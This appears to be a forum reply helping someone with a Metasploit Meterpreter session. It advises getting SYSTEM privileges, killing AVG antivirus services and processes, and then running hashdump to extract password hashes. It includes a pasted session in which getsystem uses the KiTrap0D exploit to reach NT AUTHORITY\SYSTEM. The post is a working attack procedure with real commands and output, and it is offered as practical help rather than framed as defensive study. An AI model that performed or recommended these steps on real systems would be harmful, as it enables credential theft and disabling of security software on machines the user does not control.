hashdump requires escalated privileges. What user is your session running as? use getuid first to find out. If you do need to escalate privileges, try a different method.
Once you are able to escalate privileges, kill all the AVG services and processes. Once the AVG services and processes have been killes you will be able to dump the hashes successfully. Vivek demostrates disabling AVG in the metasploit megaprimer video series. He spends some good time on the topic.
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
-h Help Banner.
-t <opt> The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)
meterpreter > getsystem -t 4
...got system (via technique 4).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM